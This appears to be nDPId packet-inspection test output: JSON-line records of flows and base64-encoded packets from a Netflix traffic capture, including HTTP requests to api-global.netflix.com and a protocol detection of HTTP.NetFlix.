b2tpZTogbWVtY2xpZD03MDFhZDMxMi00ODAxLTQ3ZTctYWMwMC1jYjM3YWUyZjRhZmY7IE1heC1BZ2U9MzE1MzYwMDA7IEV4cGlyZXM9U2F0LCAxMyBKYW4gMjAxOCAxNDo1MDo0OSBHTVQ7IFBhdGg9LzsgRG9tYWluPS5uZXRmbGl4LmNvbQ0KU2V0LUNvb2tpZTogbmZ2ZGlkPUJRRm1BQUVCRUpYJTJGOEFodHlLbFRicmt0TUhUSWRITkFYbUJNMFpuUEY2NDJwZW5HVEhPaXQzeDlyVTBwTG0wS0s3ZDhtb0J5ZDFROW9Fc2FRT1UwNXkxJTJGT1RRWWRPODZVVDFZVlVOTGpxVUR1WEU2V3MzVTdRJTNEJTNEOyBNYXgtQWdlPTMxNTM2MDAwOyBFeHBpcmVzPVNhdCwgMTMgSmFuIDIwMTggMTQ6NTA6NDkgR01UOyBQYXRoPS87IERvbWFpbj0ubmV0ZmxpeC5jb20NClZpYTogMS4xIGktMGE5M2Q4OWNjMmFmMzAzNTUgKHVzLXdlc3QtMikNClgtTmV0ZmxpeC1Gcm9tLVp1dWw6IHRydWUNClgtTmV0ZmxpeC5uZnN0YXR1czogMV8xDQp0cmFuc2Zlci1lbmNvZGluZzogY2h1bmtlZA0KQ29ubmVjdGlvbjoga2VlcC1hbGl2ZQ0KDQo="} +02363{"flow_id":25,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":809,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319049,"pkt_ts_usec":27067,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"5JjWH70UgCqoTGHMCABFIAXc1U1AACoGvbE2yb+EwKgBBwBQz59tgXJcOnvRr4AQAGFl+AAAAQEICldeurYfZPS1MjAwMA0KeyJoZWFkZXJkYXRhIjoiZXlKb1lXNWtjMmhoYTJVaU9tWmhiSE5sTENKdWIyNXlaWEJzWVhsaFlteGxJanBtWVd4elpTd2lZMkZ3WVdKcGJHbDBhV1Z6SWpwN0lteGhibWQxWVdkbGN5STZXMTBzSW1OdmJYQnlaWE56YVc5dVlXeG5iM01pT2x0ZGZTd2ljbVZ1WlhkaFlteGxJanBtWVd4elpTd2liV1Z6YzJGblpXbGtJam96TlRVek1UYzNNRGt6Tmprd01URTVMQ0pyWlhseVpYTndiMjV6WldSaGRHRWlPbnNpYldGemRHVnlkRzlyWlc0aU9uc2lkRzlyWlc1a1lYUmhJam9pWlhsS2VscFlUbnBoVnpsMVdrZEdNRmxUU1RaSmEwcFNVVEJHUWxGVlZrTlNWWE4yVFd4b1NsZEdSbk5PTTJ4VlZGUmtTbUl5WkdsalYyUlpUbGN4UTAxRlduZGpWVkpKVTBSa1dWcFhXak5WTWpWMVZVaHdXbFF6UmpWbFJ6bDZWSGx6ZGxOcldsVmtXRUpUVkVaQmQwOVhXblZWUjFWNlZqQXdORXd5VW5Wa1JWbDRXVlphV0U1RVNtdE5iWFJ6VERKa1NHRnVTbmhpUkU1NVUydFpNMWRIVm1sWFdIQnFWVEowU1ZkR2JFcGphMVpNVmxWV2JWcHJkSFZoYlRRMVZFaHdkV0pWTldGUFdGWTBTekZzYUV3eVNsQlNibHA0Vld4c05rNXNUbXBNTUc4elpFUm9UMVF3V2sxVFYyZ3dZMjVvUldGSGF6RldWR2hVWlZoc2VrOVVSbE5pUnpCNFRERktSRlI2WjNsUmJrNUdVMVZKTVdOVmREUlViRkpvWkc1d01HTnJjR2xUYTNoc1ZURlNVbUpJWkU5VlJHeFVaVzFPV2xvelVrNVJWV1JPWlVVNGRtSkdSbUZVYmtwdlpHNUNRMDFxVFhkV1JVcG9ZVlpHYWs1dE1IZFRSWEJDVGxaYVJsbFRkRE5YVlVaNVlUTldSR0pWU1RGbFJYUkVUMFZTVEV3eWNFOVNNa3A0WTFWb1UwNUZPVzlsUjJ4MllXMXdlbE5IWkdsVVdFb3dUak5HVkZaVVFtNWFiRXBxVDFkNFRtTjVPWFpWTVdoVFZsaG9WVk5yWkVoak1qRlBWbWwwZG1KVmR6Rk5NMlJvVjBSR1NXTXhjRzlOUjBaSlYwUkZNazFJWXpGVVZHUlZUakF4ZUZwc1duWlBWVXBNWld0a1lWTnRWbXRSVldoUFlsZGplRlI1ZEVKak0wNTVWbGRrU2xWRVFuZGtWekZNV25wamQxUnNiM2RWYm05MlRVUkNXRTF0Um5KUk1VNVhUbGM1VWxkV2NEUmphMHBFV1RCb2MyTnFWbUZWUjFZMVlWZHdSMDlIZUhaU01WcEpVMGRhYlZRelFtcFhWM0JyVlRCSk0xVkdWbkZPTWtaTlUyNXNiR0pyVm5CU01sSlFaVmRPVWt4NlpFTmhiV3hHVmpKNFZWUkdhekJqUlZsMlVqSTVNMU14V1ROVWFUbFpWRWhHVWxKVWJERmxiR3cxWWpKYWFGZFlUbGRqTUhoT1l6RkNjRTFyYzNwVlZVWTJVVEJGTUdKR1ZrbFRNbWhOVTBkS1YxZFZVVE5MTTBaUFlrVlNjVXd3V25oWFIxWlRZM3BLTTFwVVFtNWpiRkpYVGxaRmRtTXdXbFpOUld3MFZqTldTVll5YUc5VWJtUlRZVlJTVEdSdGVGQmpiRVozVmtoQ2RsWXlTbGhOU0doVFdXNUtiVTlWU2xaWlZtUnBTM3BPUlU5VlpGQlRla0paVkhwS1RHTXdUbFJoUlZKWVRqSTViVTFXVVhoamJUbDZUa2RXYUZVeVozZFdlVGxKVlRKcmVHTnBkR0ZOTURGS1l6SnNjbHA="} +00426{"flow_id":25,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":810,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319049,"pkt_ts_usec":28366,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"gCqoTGHM5JjWH70UCABFAAA05PVAAEAGndHAqAEHNsm\/hM+fAFA6e9GvbYFyXIAQEAHL0wAAAQEICh9k9XlXXrq2"} +02363{"flow_id":25,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":812,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319049,"pkt_ts_usec":32722,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"5JjWH70UgCqoTGHMCABFIAXc1U5AACoGvbA2yb+EwKgBBwBQz59tgXgEOnvRr4AQAGHWQAAAAQEICldeurYfZPS1ck9VNVZWekZJVW5wamFVeERTbmxhVnpWc1pESkdjMlF5YkhWYVJ6a3pTV3B2ZUU1RVp6Qk9SRUV4VGtSUk5FeERTbnBhV0Vwd1dWZDRkV1JYTVdsYVdFbHBUMnBGTVU5VVJYbE5WR3MxVDBSQmVFOVVXWHBPUkVWelNXMVdOR05IYkhsWldGSndZakkwYVU5cVJUQlBSRlV4VFdwbk1rNUVaM05KYms1c1kxaFdiR0p0VG14aWJsWjBXVzFXZVVscWJ6Um1VVDA5SWl3aWMybG5ibUYwZFhKbElqb2lRVkZGUVdkUlFVSkJVMFJ5Ykc5cFRuTjBUM1owU0d0aVdFVXlUaXRFTnlzeFoxZHhjR05OWjNKQmNUVlFSalprTUU5TFRHTnFSMnRhYUdjOUluMHNJbk5qYUdWdFpTSTZJa0ZWVkVoRlRsUkpRMEZVUlVSZlJFZ2lMQ0pyWlhsa1lYUmhJanA3SW5keVlYQmtZWFJoSWpvaVlqRlpibXhzUVdwaVZWVjZiVzFEZEhoaWIwUmpRMmhGTWpVNFVuUndjRTRpTENKd2RXSnNhV05yWlhraU9pSkJRelZKTTJ4eVltOTNUVUZIVTNGbFJ6QllSakp6VkhoQmVXZFpaMmhxVlhKR1ZGbzFaM1U1WVdWTUx6WmxhR1ZwT0dKaVZsSlJOMXByUlhWV1NtTXhOWGRNUmpaaVR6UTJVRzVCTlVaV2VISXJXbWxYUW5Cc1NYbDZiV1psV21OSmRHMXhNa0pxUW1JeU1VTk5kRXR5VmpKRFEyeDZjMFJoVUROa1MwRm9ZM3A1TTFWU01YSXlXalZXUkVvM1pYTjFRakZZVFVKRVZXZG1kVXh3V0haUlkyUjJZM2hGT1dOaWJrTkdJaXdpY0dGeVlXMWxkR1Z5YzJsa0lqb2lNU0o5ZlN3aWRHbHRaWE4wWVcxd0lqb3hORGcwTXpFNU1EUTRmUT09Iiwic2lnbmF0dXJlIjoiY1hjQjJ0OTdyeTlmazJqWWhoY0Y2Q0oraTRXalVXTllpNWxENHdMcEpZUW0rbkRnM3hiTG5Gdi92Q1dXbkdsNjIyZm9wVEoyc3Y0MFl2cGI5UWFNZVBCWk9TS1RVcGZFQ1ZUNzZXdXdQT1pjRGVsYmRBbitCYysxSVBia212WVhOa1ZBM3JKZXhJb0cwbU9ERXVJcFBGcW90elVqOGxIZThuNWRORG1Zc3g5RG5idW52bFZpYS9pcUxvSS8vd3NvSEw5OWwzYnIwUXN1cExSZnJsNXlNRk9JZVR4aGwyNUt5S3BhMFdUOHRORkttcU1GMmQrWWJia1pwSWxxaW1nR1VscitZVHN1OUpKZU9vbytwL2xNb25kb0h5endyZkNzMklBY2dwK0R0dmpBWDcwZTFYS29VZmdBelF3Q3pFZDJTTEd2a3FYVFJVZ3M4TE1qR2NXMHFSaDBqMmJSTmpCNVBDdi85NVoxNXozb1krOUJsRURrakdrL2pDdWdPdVJnVHJUVHZST2RXN1p6bWFVVXhjRmErMVJqRHI5M2pBTDZGM3ZyNk9VaWVzMDA2dHBtcUtvTG1TWEdnMFNJcStrL0FZVU91cHc5ZkxKbW0zejQrZTdOYm55bUJYYTRpaElBajdtd1VMUzUwRHNhS25aSGN6M3gwTEJCdjllUVV4bVNTSS9KaSt2K0NFdmdLdEJEaTJ3czJJcXp4Rm9JcHpvKzU3cjh5dFA4dEFaQlhwMlZEVTZhblFTaFRsZWtKbTZ1am1YOUtuMmZBOFd0SGhsNXlhZHMyQmpqQUN2cGoxcnpRZGJwRWkrbFUyb1F2ZkpBYm5OdlYwYUlZOXhkZVl3WVYwd1FTdFU0d1o0WkQxU2VEbWRUTUNsSXpmR0xpdXdhMVJFU0VjOVphbGc9IiwiZW50aXR5YXV0aGRhdGEiOns="} +00426{"flow_id":25,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":813,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319049,"pkt_ts_usec":34072,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"gCqoTGHM5JjWH70UCABFAAA0XOxAAEAGJdvAqAEHNsm\/hM+fAFA6e9GvbYF9rIAQD9LArQAAAQEICh9k9X5XXrq2"} +02363{"flow_id":25,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":815,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319049,"pkt_ts_usec":46603,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"5JjWH70UgCqoTGHMCABFIAXc1U9AACoGva82yb+EwKgBBwBQz59tgX2sOnvRr4AQAGEUCAAAAQEICldeurYfZPS1InNjaGVtZSI6IlJTQSIsImF1dGhkYXRhIjp7ImlkZW50aXR5IjoiQVBQQk9PVCIsInB1YmtleWlkIjoiQVBQQk9PVCJ9fX17InBheWxvYWQiOiJleUpqYVhCb1pYSjBaWGgwSWpvaUt6QmtUbFkwYW5WR2VWUk1SRTk2TkZZeU5FSTNjVmQzYTFoek4ycHpXRXh4ZUV0Wk5uTnNTalIzYzAxbFJ6VllhVXhCTVVzNFkyRjVla2R5Y3pOQlduSm9aR1JyVUc1VEsxaFlWemRyTDBsV1ZtRmFZVlJHYlN0Vkx6aG1kRzExTDB4NlNISTJSbXhzYTJReVNqTkZiVUkxU0ZSMFJIbHdibmRaSzFab2REQlFVMGd2ZUZSRU4ydFZVa1ZpWWxSbWIxaEZaR1pYVmpORVprTkVibXBNZUVKWmEyNUNiREZoVmpsb1prOHpTbmh6SzBveVoxUkZZMkZQU2tSb1NGcDFWVE54Vm5vdlVHVnRVVmRWSzI1WGJUUjJjVXBvVERWa1FqY3dhMHN4WW1KWGEyeDNZazQzVlVsVmVWUjVhbFpUZUZoQmEzZFFPRkpNTlZOTmNVVlFWVXAxYVZsQ2FHZElWamh2TkVWTVkyeDRhek0wYmlzeVozSndhSFpzTlNzeE4zTlBVbnB0YjJsMVZrNTVPSEpWY0dKa1JYWjFaM0ZLYWt4aFZXcDNNVWxhVlZKRVEzQnVZV2R1Tm5kMFVEbFJWV041ZGpFMlNVdzNlVTlwVHpSWGREQkpkMjl4YVZsa00xbFhXVFZhSzBKellteDZVRTFDVTNsWmNWWkNkRlpqZVROU1FqbDVaSEZIVHpWemJqTkJaVFZrTms5Nk5GcFBRa1poTlV0Uk5YcGllV2x1UTA5R2JsTXpTbE40U25wTU16ZDVhWGsxZEVSVlprbHdiQ3RqUjJKSlQxRkJSa0pTUTJkeE9YSlhlbU5tV0ZCcWVuSm5OSGczTkVjclFsSlBSMHBOWlZCWE1tWkdTWFUzWTFsQ1ZVTklWVGhUYjBOaGJqTTBTMnB1Wmt3Mk9GTnplbVZvUTNOSFNFVkdNV0pFTkRBdlZXdFViVWtyVGxKR01HTlFiMUZ6ZUhaV1VFeGxkR3hhTUdKU1ZFc3hWazl6TDFaeGRrWnFWMXBMU0ZWTFpHeGxRV3h0WWxSa1ZUZHFSRTVKVTFsNlpuRkxNbUZaZFZGdGVscEVVWGR2UlVjeVFYRjBNMm8wUjB4cVdIVkdTRWRPZFU4elozTmFRVWRGWlRsMkwwRTVOVW92YVZZME1UUnViM1ptUTNvcloyTnpiMUZ6VmxSQlRYVXlNMHhqWVdNemVrMVZNRWszYVRoNk4wOWFSemgzVGtselRqQXZVMGR3VDBOVVdFZ3dWRGRYUVdkalozb3ZVbEp2Tkd0MlRIbENOSEZzWjNSRVVURTRRbTFpVW5kUmRtRmpWVFpCYm14VVRpdE5hMDFpYVhSdFFrbElSbWx5TlZvcmNDOXBUV1paTkhoSVNGZHhUMjl5UlhCek0wWnVUV3hoU2lzMFYySnBWVGR4ZW1WMVlWSkZlbVpzU21wV2QzbE9XVVJHVVVKSk9IRkRZVzFNWjJkVGJrbHFiRXMwY0hSM1NIcFlVMVl3YkhacVltTnVkelI2TDNoMmEwVktSMWtyVlZCUmFWTm1lR1JVUzBSWmMzVkZZM2xJYlhjM1YzbE1aazVTUmk5S01HTlljVTQxTkRBMFNVRk1lRkpaV0dkVk5ERm1jRU0wYTIwd1NtMVRSWFpQV1hWWlFXMU5VRklyWkM5cFpraExkMHhYYkVkNFZqZFJWelJoTkdGaE5FbDROQ3REYkV4TmRVTllUa3RQVG5CRlMxZE9hbmNyY21vd1lYbGFhMmxKT0VaQkwzRm9jMWxpWlU0MFlXbG9ibWhoVWs5UmQ="} +00472{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":861,"source":"netflix.pcap","alias":"nDPId-test","flow_id":26,"flow_packet_id":1,"flow_first_seen":1484319049465,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.7","dst_ip":"52.89.39.139","src_port":53152,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":26,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":861,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319049,"pkt_ts_usec":465573,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"gCqoTGHM5JjWH70UCABFAABAjtZAAEAGjk7AqAEHNFkni8+gAFCVL\/AiAAAAALAC\/\/+toQAAAgQFtAEDAwUBAQgKH2T3IAAAAAAEAgAA"} +00439{"flow_id":26,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":863,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319049,"pkt_ts_usec":510947,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"5JjWH70UgCqoTGHMCABFIAA8AABAACoGMwk0WSeLwKgBBwBQz6CC\/YxQlS\/wI6ASRerkyQAAAgQFtAQCCAqtiNcHH2T3IAEDAwg="} +00426{"flow_id":26,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":864,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319049,"pkt_ts_usec":516159,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"gCqoTGHM5JjWH70UCABFAAA0TN5AAEAG0FLAqAEHNFkni8+gAFCVL\/Ajgv2MUYAQEBVJOgAAAQEICh9k91KtiNcH"} +01297{"flow_id":26,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":865,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319049,"pkt_ts_usec":518619,"pkt_caplen":715,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":715,"pkt_l4_len":681,"pkt":"gCqoTGHM5JjWH70UCABFAAK9sclAAEAGaN7AqAEHNFkni8+gAFCVL\/Ajgv2MUYAYEBXtIwAAAQEICh9k91StiNcHUE9TVCAvbXNsL25yZGpzLzIuMS4yIEhUVFAvMS4xDQpIb3N0OiBhcGktZ2xvYmFsLm5ldGZsaXguY29tDQpYLUdpYmJvbi1DYWNoZS1Db250cm9sOiBuby1jYWNoZQ0KQWNjZXB0OiAqLyoNClgtTmV0ZmxpeC5yZXF1ZXN0LmV4cGlyeS50aW1lb3V0OiAxNTAwMA0KWC1BbGxvd0NvbXByZXNzaW9uOiBmYWxzZQ0KQWNjZXB0LUVuY29kaW5nOiBnemlwLCBkZWZsYXRlDQpBY2NlcHQtTGFuZ3VhZ2U6IGVuLXVzDQpDb250ZW50LVR5cGU6IGFwcGxpY2F0aW9uL3gtd3d3LWZvcm0tdXJsZW5jb2RlZA0KWC1OZXRmbGl4LnJlcXVlc3QuYXR0ZW1wdDogMQ0KQ29udGVudC1MZW5ndGg6IDg0MTYNClgtQ2xpZW50LVJlcXVlc3QtSWQ6IDE4NDQ2MzU2MTMzMDg2MjYxNjEyDQpVc2VyLUFnZW50OiBBcmdvLzkwMCBDRk5ldHdvcmsvODA4LjIuMTYgRGFyd2luLzE2LjMuMA0KQ29ubmVjdGlvbjoga2VlcC1hbGl2ZQ0KQ29va2llOiBtZW1jbGlkPTcwMWFkMzEyLTQ4MDEtNDdlNy1hYzAwLWNiMzdhZTJmNGFmZjsgbmZ2ZGlkPUJRRm1BQUVCRUpYJTJGOEFodHlLbFRicmt0TUhUSWRITkFYbUJNMFpuUEY2NDJwZW5HVEhPaXQzeDlyVTBwTG0wS0s3ZDhtb0J5ZDFROW9Fc2FRT1UwNXkxJTJGT1RRWWRPODZVVDFZVlVOTGpxVUR1WEU2V3MzVTdRJTNEJTNEDQoNCg=="} +00701{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":865,"source":"netflix.pcap","alias":"nDPId-test","flow_id":26,"flow_packet_id":4,"flow_first_seen":1484319049465,"flow_last_seen":1484319049518,"flow_tot_l4_data_len":797,"flow_min_l4_data_len":32,"flow_max_l4_data_len":681,"flow_avg_l4_data_len":199,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.7","dst_ip":"52.89.39.139","src_port":53152,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP.NetFlix","breed":"Fun","category":"Video"},"http": {"hostname":"api-global.netflix.com","url":"api-global.netflix.com\/msl\/nrdjs\/2.1.2","code":0,"content_type":"","user_agent":"Argo\/900 CFNetwork\/808.2.16 Darwin\/16.3.0"}} +02365{"flow_id":26,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":866,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319049,"pkt_ts_usec":529760,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"gCqoTGHM5JjWH70UCABFAAXcGHxAAEAG\/wzAqAEHNFkni8+gAFCVL\/Ksgv2MUYAQEBU48AAAAQEICh9k91StiNcHeyJoZWFkZXJkYXRhIjoiZXlKamFYQm9aWEowWlhoMElqb2labkJwTWprNE1IVlpRbThyZDNkSlNYQnNjMWhMS3paQ1ZFaERhM2RrYTFOU09XbFVUbWx3TVVZMU9XVlRiV3BUYVd4VVRta3ZORlJQYnpSeFFsUk1ZVmh4VlZkUmFFNUtjQ3RaUzA5VVkyVlJVVkJVYVZWbmFVOVRaM1F5YmpjeWNFOVdhRlZhVW5GMWJuVm9TMmRZVHpaSWRqVkJWamR0ZVRZcmFWUnROVUZvU2t4TFZsTmtWMDFYVkd3eGRTOUJjbTR4ZUdSTFZtaHBjSGsxT0hSeVdrRnZlaXRDY3pKSVR6ZFJWVEJvZW0xWk9ERnRjR1JNZUcxYWFUSjZWSGhNYzNWd0wxWlVTRWhNT0hNNGIwNDJjVkpwWW5sWGNuVk9kRkV4Y21adVNsTndlbkp1UzJSck1VdHBLMWxVYmxOMFNqWTVkMEk1VUhBd2RpdHVObmhKZW5wRlMwTlRaRkpHVVdwNE56ZFZVbGRWYTI1VVZGUTBjWFpEY25BMlUwNXFOMGhaTjB0YWVpOTFUV3BKT1ZscU4xSlJZMWx3T0hKMU0xUTRjMDFEY2pCU2EzRm1SVVV2VHpCVU5VWlRPRFpyUTJkcVJXZFNSVlJFV1d0UmMzZE1jSGxCYW5ZdlYxZEtNazl3U0U5eE9HRk5iM3BMZERRd1Rqa3JaMnhyTnpSTU1UbGtkbUpQTXpOdlRFWnNNRUpEU1hadU5ISnhhaXRST1VGb1VtWndaMFZqWldoRFZWTllPV3RVZUZsMlduRmhTMHBzUkdVNFFUSjFUV0UwYjNaNlkwMWxhMEozWlRkc1JIazFNa042ZDBGR1NtWlhlbVl6YWxWUlZVMXllalZFUjJkWWVXRlJhVlp5UjFOaGREVnRSek4xUmtVMksyeHhaVEEwT1ZSUFVqaEZLMGRRV1d4eFptcGFiRTl5Vm0xQk1sTldlVWhLZGpkMVYwVkVNV1lyTTFWa00wNVBXamQzTVZWV2NYTTNaaTlpUTNnNWRuRjVVbGhWV0M4cmMwRjJNMUp1TkRNM2IzZHdlV0phY2pWSFFWZFRNRWhTYUhGemNtSXpURGxSY0VjNFIyNXFSamxOWTBwT1owMU9aVEZvSzNSb1JtcElaRzVZT0hsb1VrNXlVVmhDUWxoRFZXUk1aVnByU1dkR01qUkJia3RDUlc1RWFtazVWRTF6YTBwalpuUldWMWhOYUVWVlprdFZNV0o1ZGk5RFdXTlhVWFpEWVdSNFUzQlJOR1JQY2tkV1NVMUhWME4xWm5SalVrOTJWV1pPZFZRM01taG1SMFZ3UldaVVJrc3JaV3d5VkRoTFVFcHliMWRNYlVoeVVrdE5SM0ZYZGxSV1REaHdabGhrZG1OcGFVSldRMmhOZDNGTWEzRm5PV1UyVjNsWVZWRXJibWs1T1hGc2NHWkZkbWMyYXl0MUsyeDZjRXcxWVVOcFUwZHlaMHgwV0VkNlNXVk9OMWt2V1Vwc01VeFJhMWhYYW5oTlkzRXZNMFkyUlV0eE9GTnFkakJ6UzJkMWVuaG1URkJpWVVkd1FuSmFXV1pKZFZGWmR6RXlVMlJVU1dsNFZHSmtjbEZaWVVsRk9HMVlXRE5rTXk5UFNVcEZSM2xxZVRaeE9FVkdXWHBIS3pkM2NVODVZa1F5YkdkSlNEQnVXV3hEYm01MmIyWnZlamsxYzNBek9WUnRXbnAwZGpsMFRFbzNPVWRTTjNCeWJYTlpZemhRVGpseWJHNTZPRWgzVGpKMGRUZzNhVmhsZDFWbU1qQjBkRVJVU1ZWNFF6WnVTMWRIVEZBcmVrSmxPRUoxVjFVMU1VTjNjbE5DYjBseFp6RnRPVU12WVhkaVZXRmhUVlE1ZGtseFltRlpjR1V3Um5sRlE="} +02364{"flow_id":26,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":867,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319049,"pkt_ts_usec":529896,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"gCqoTGHM5JjWH70UCABFAAXcBn1AAEAGEQzAqAEHNFkni8+gAFCVL\/hUgv2MUYAQEBVu5QAAAQEICh9k91StiNcHWGhIUWtOR1NFOUhSVXRqUWs5R01rTXlVM3BISzB4TEwxazNTSHA0TWsxdlVGTlVlV1pzVkc5RVNEQktjMWczZEhGamJVZGpXR3hJVkZsUEt5dHNhMGxsT1RGTWJFMW1MMjlyWjFOQ00wOU1OVGh5Wm14RE1HMXhhalJFUlZSWmVGcHVSRTlrU2xSdFQwSjBibk41UW5nM1YyNXNhRGR2YkU5UE0yTjFhRk5LZW5reFZuRjNZMVY0ZW5Bd2RWY3ZOaXRwWVRoTWNpOHZTVzV3ZFhGak5VeG1MelJMZEZBeFduUllkbEZJVDFoQ0wzTmxkM2xYYVhObWJUZHJaamxwVFdaWE9XaG9NVnAyV1hWdWJtMDVabWN3WlVKd2NEVk5UMUpuVWpFM1MwbDBheXRuV0doQk0xWkhVRzlVZVVWVVVIb3JZMjg1UzBwRVdXTXdlbE5oY1VsSU9ISmFUeTloTm5OT1NtMUtUMGhqWjA4MVYzWTJTRWRIUTBKUEsyODRiSHBtVW10T1oyVXJkekJzZERBdmJWSkVlV29yTkVWR2VGSmlla3g0YnpGalZITjFXRkUwT0RWSWFYY3ZhSHBSYW5oTloxTXdNMlprWjNCdk5WVTVkRXRVV20xdFFYTkdUMUpYY0dZd1RsWjNRVXd6Vm05dFZqYzBSMGhaVWtwTmRsQlpSVkpDVmxwdkwyTkpTamRrWTFnd1VVRlFlWEJPWlZoalQydFVkRmxtWW5nNWQyMVdVekpXYW5ZclowdE1hWElyTm5kT01uVkxWbEJIUjBsTmRuQnJZM2xTYVZORVpYTnRhM04xUmxOMkwweDBiMFZqY0hOalFXWnlRME5xYW5seU9FWkhjRk52VDNOT01GZGFjbGRtTDNOQllUVjBVRTAxVDI1a1owaEplSGNyVlVsQ1dGY3ZiblJhT0hSTmQyVkZNSEI0VW1oU09HRjRMMVppYVhkeVZDdGxiMUV5V0haVGVHZERaWEIwT1dGaU5HTkVUMFpLTml0b2JFdFlNSEkxZURkWEswVjZUWGxSWlcweE9FMUNUV1JDUW5oWGVGVlpSbVU0TVZKRFVHVlpXVzlaZG5kWk5qUlZSMHR4TXpabFJqQnNXSE5EWjFkS2J6UlBLMXBDZDJsRlIwWlZUMEYwVVZWaVEycENTbGgzWXpCVWJVeFNTek42V1hkYVlVSjRVMUJOWlZoU1VEUmhiREZNWWtWWWEzbDFZbEpvUlRkM2RURkNSV0ZJV2tSUGIwdFRMMjR5ZEdWWmExVkRXR1JyYzFOaFlXOVpWekJtZUZKcGJrdHRXVU5hYWtsUFIwUmlSMmRKVTFOaldUZE9SWEZzVjJWa2FTOVdZVXgzTDFod1RHTklRVEZXVEZJNVF6Tm5iVTVVT0ZNNVpsVXJhMGRuYmtjNFpFNXVabGxOYURZNFptSjRTblZLYTB4WU0xRk1TMGRuUldsc1FVcEdNRXdyVDBSNFNtVkpPVXhCUFNJc0ltbDJJam9pTVVkRWQxQlZWbk4zU20xWGN6WnpWRFpoV1hCaFp6MDlJaXdpYTJWNWFXUWlPaUpPUmtGUVVFd3RNREl0U1ZCSVQwNUZOajB4TFRnM05UbEdRek5EUlRBNE16WXdOak5ETWpFd04wUTJRVEF6TlVGR056TkVNak0xTmpjNVFVTkVOamxEUVRrNE9EZENSalkwTlRjd1JVRXlSRVpFT1RoZk9DSXNJbk5vWVRJMU5pSTZJa0ZCUFQwaWZRPT0iLCJtYXN0ZXJ0b2tlbiI6eyJzaWduYXR1cmUiOiJBUUVBZ1FBQkFTRHJsb2lOc3RPdnRIa2JYRTJOK0Q3KzFnV3FwY01nckFxNVBGNmQwT0tMY2pHa1poZz0iLCJ0b2tlbmRhdGEiOiJleUp6WlhOemFXOXVaR0YwWVNJNklrSlI="} 